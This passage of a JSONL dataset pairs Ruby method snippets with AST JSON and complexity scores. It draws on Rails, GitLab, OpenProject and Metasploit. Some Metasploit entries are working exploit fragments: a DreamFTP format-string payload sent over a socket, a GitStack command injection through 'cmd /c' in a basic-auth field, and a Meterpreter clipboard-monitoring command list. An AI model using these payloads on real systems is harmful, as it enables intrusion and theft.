"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-l\"]},{\"type\":\"str\",\"children\":[\"--list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"list\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"--debug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"debug\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"nil?\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"downcase\"]},\"start_with?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t|y\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"list\"]},{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"history_manager\"]},\"_debug=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HistoryManager debugging is now \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"str\",\"children\":[\"on\"]},{\"type\":\"str\",\"children\":[\"off\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"History contexts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Id\"]},{\"type\":\"str\",\"children\":[\"File\"]},{\"type\":\"str\",\"children\":[\"Name\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"history_manager\"]},\"_contexts\"]},\"each\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"history_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"rows\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No history contexts present.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"to_s\"]}]}]}]},null]}]}]}","id":"75617716-25a4-4b23-9f13-ce2da4a61f6e"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/admin/scim_clients_controller.rb","start_line":106,"raw_source":"def scim_client_params\n params.expect(scim_client: %i[name auth_provider_id authentication_method jwt_sub])\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scim_client_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"expect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scim_client\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"auth_provider_id\"]},{\"type\":\"sym\",\"children\":[\"authentication_method\"]},{\"type\":\"sym\",\"children\":[\"jwt_sub\"]}]}]}]}]}]}","id":"0b0b6548-0d1e-42c0-b734-8df222d66805"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/java.rb","start_line":19,"raw_source":"def initialize(info = {})\n super\n\n register_advanced_options(\n [\n OptString.new( 'JavaCache', \t[true, 'Java cache location',\n File.join(Msf::Config.config_directory, \"javacache\")]),\n OptString.new( 'AddClassPath', \t[false, 'Additional java classpath', nil]),\n ], self.class)\n\n begin\n require 'rjb'\n @rjb_loaded = true\n init_jvm\n rescue ::Exception => e\n @rjb_loaded = false\n @jvm_init = false\n @java_error = e\n end\n end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"JavaCache\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Java cache location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"config_directory\"]},{\"type\":\"str\",\"children\":[\"javacache\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"AddClassPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Additional java classpath\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"rjb\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rjb_loaded\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"init_jvm\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rjb_loaded\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@jvm_init\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@java_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}]}]}","id":"74c28bb1-58b1-40b8-bfb8-4a8e6400aeff"}
+{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/test/generators/mailbox_generator_test.rb","start_line":51,"raw_source":"def test_check_class_collision\n Object.const_set :InboxMailbox, Class.new\n content = capture(:stderr) { run_generator }\n assert_match(/The name 'InboxMailbox' is either already used in your application or reserved/, content)\n ensure\n Object.send :remove_const, :InboxMailbox\n end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_check_class_collision\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"const_set\",{\"type\":\"sym\",\"children\":[\"InboxMailbox\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\",{\"type\":\"sym\",\"children\":[\"stderr\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"run_generator\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"The name 'InboxMailbox' is either already used in your application or reserved\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"sym\",\"children\":[\"InboxMailbox\"]}]}]}]}","id":"f817efc6-59c2-49d9-96b6-493b7982c594"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/dreamftp_format.rb","start_line":73,"raw_source":"def exploit\n connect\n select(nil, nil, nil, 0.25)\n sploit = \"\\xeb\\x29\"\n sploit << \"%8x%8x%8x%8x%8x%8x%8x%8x%\" + target['Offset'].to_s + \"d%n%n\"\n sploit << \"@@@@@@@@\" + payload.encoded\n sock.put(sploit + \"\\r\\n\")\n select(nil, nil, nil, 0.25)\n handler\n disconnect\n end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%8x%8x%8x%8x%8x%8x%8x%8x%\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]},\"to_s\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"d%n%n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"@@@@@@@@\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[0.25]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"19b65be1-4ee2-475b-8902-c25a78a9a332"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_ext_test.rb","start_line":163,"raw_source":"def test_middle_of_day\n assert_equal Time.local(2005, 2, 4, 12, 0, 0), Time.local(2005, 2, 4, 10, 10, 10).middle_of_day\n with_env_tz \"US/Eastern\" do\n assert_equal Time.local(2006, 4, 2, 12, 0, 0), Time.local(2006, 4, 2, 10, 10, 10).middle_of_day, \"start DST\"\n assert_equal Time.local(2006, 10, 29, 12, 0, 0), Time.local(2006, 10, 29, 10, 10, 10).middle_of_day, \"ends DST\"\n end\n with_env_tz \"NZ\" do\n assert_equal Time.local(2006, 3, 19, 12, 0, 0), Time.local(2006, 3, 19, 10, 10, 10).middle_of_day, \"ends DST\"\n assert_equal Time.local(2006, 10, 1, 12, 0, 0), Time.local(2006, 10, 1, 10, 10, 10).middle_of_day, \"start DST\"\n end\n end","complexity_score":52.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_middle_of_day\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"middle_of_day\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_env_tz\",{\"type\":\"str\",\"children\":[\"US/Eastern\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"middle_of_day\"]},{\"type\":\"str\",\"children\":[\"start DST\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"middle_of_day\"]},{\"type\":\"str\",\"children\":[\"ends DST\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_env_tz\",{\"type\":\"str\",\"children\":[\"NZ\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[19]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[19]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"middle_of_day\"]},{\"type\":\"str\",\"children\":[\"ends DST\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"middle_of_day\"]},{\"type\":\"str\",\"children\":[\"start DST\"]}]}]}]}]}]}","id":"dc3a860c-11f4-495b-bbfb-ef0cbb0c59f1"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_project_repositories.rb","start_line":34,"raw_source":"def create!(name)\n Shard.create!(name: name).tap { |shard| @shards[name] = shard.id }\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Shard\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shard\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shards\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shard\"]},\"id\"]}]}]}]}","id":"accd8053-2a3e-421b-a8e1-befc6477d15f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/note.rb","start_line":89,"raw_source":"def edit_comment(text)\n click_element 'note-edit-button'\n fill_editor_element 'reply-field', text\n has_active_element?('reply-comment-button', wait: 0.5)\n click_element 'reply-comment-button'\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"note-edit-button\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_editor_element\",{\"type\":\"str\",\"children\":[\"reply-field\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"has_active_element?\",{\"type\":\"str\",\"children\":[\"reply-comment-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"float\",\"children\":[0.5]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"reply-comment-button\"]}]}]}]}","id":"f4008c0e-d34f-4fc2-a907-a2e8ef428dea"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb","start_line":25,"raw_source":"def commands\n all = {\n 'clipboard_get_data' => \"Read the target's current clipboard (text, files, images)\",\n 'clipboard_set_text' => \"Write text to the target's clipboard\",\n 'clipboard_monitor_start' => 'Start the clipboard monitor',\n 'clipboard_monitor_pause' => 'Pause the active clipboard monitor',\n 'clipboard_monitor_resume' => 'Resume the paused clipboard monitor',\n 'clipboard_monitor_dump' => 'Dump all captured clipboard content',\n 'clipboard_monitor_purge' => 'Delete all captured clipboard content without dumping it',\n 'clipboard_monitor_stop' => 'Stop the clipboard monitor'\n }\n reqs = {\n 'clipboard_get_data' => [COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA],\n 'clipboard_set_text' => [COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA],\n 'clipboard_monitor_start' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_START],\n 'clipboard_monitor_pause' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PAUSE],\n 'clipboard_monitor_resume' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_RESUME],\n 'clipboard_monitor_dump' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_DUMP],\n 'clipboard_monitor_purge' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PURGE],\n 'clipboard_monitor_stop' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_STOP]\n }\n filter_commands(all, reqs)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_get_data\"]},{\"type\":\"str\",\"children\":[\"Read the target's current clipboard (text, files, images)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_set_text\"]},{\"type\":\"str\",\"children\":[\"Write text to the target's clipboard\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_start\"]},{\"type\":\"str\",\"children\":[\"Start the clipboard monitor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_pause\"]},{\"type\":\"str\",\"children\":[\"Pause the active clipboard monitor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_resume\"]},{\"type\":\"str\",\"children\":[\"Resume the paused clipboard monitor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_dump\"]},{\"type\":\"str\",\"children\":[\"Dump all captured clipboard content\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_purge\"]},{\"type\":\"str\",\"children\":[\"Delete all captured clipboard content without dumping it\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_stop\"]},{\"type\":\"str\",\"children\":[\"Stop the clipboard monitor\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reqs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_get_data\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_set_text\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_start\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_START\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_pause\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PAUSE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_resume\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_RESUME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_dump\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_DUMP\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_purge\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PURGE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_stop\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_STOP\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"filter_commands\",{\"type\":\"lvar\",\"children\":[\"all\"]},{\"type\":\"lvar\",\"children\":[\"reqs\"]}]}]}]}","id":"1d00564f-9d1a-47c6-bfe0-da46abdbaa06"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kademlia/pong.rb","start_line":24,"raw_source":"def self.from_data(data)\n message = super(data)\n return if message.type != PONG\n return if message.body.size != 2\n Pong.new(message.body.unpack('v')[0])\n end","complexity_score":15.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"type\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"PONG\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"body\"]},\"size\"]},\"!=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pong\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"body\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"v\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"5280561c-649e-4e17-8ecb-c439e0bcf29c"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/gitstack_rce.rb","start_line":242,"raw_source":"def run_exploit(repo, user, cmd)\n begin\n res = send_request_cgi({\n 'uri' => '/web/index.php',\n 'method' => 'GET',\n 'authorization' => basic_auth(user, \"#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}\"),\n 'vars_get' => {\n 'p' => \"#{repo}.git\",\n 'a' => 'summary'\n }\n })\n rescue Rex::ConnectionError, Errno::ECONNRESET => e\n print_error(\"Failed: #{e.class} - #{e.message}\")\n end\n 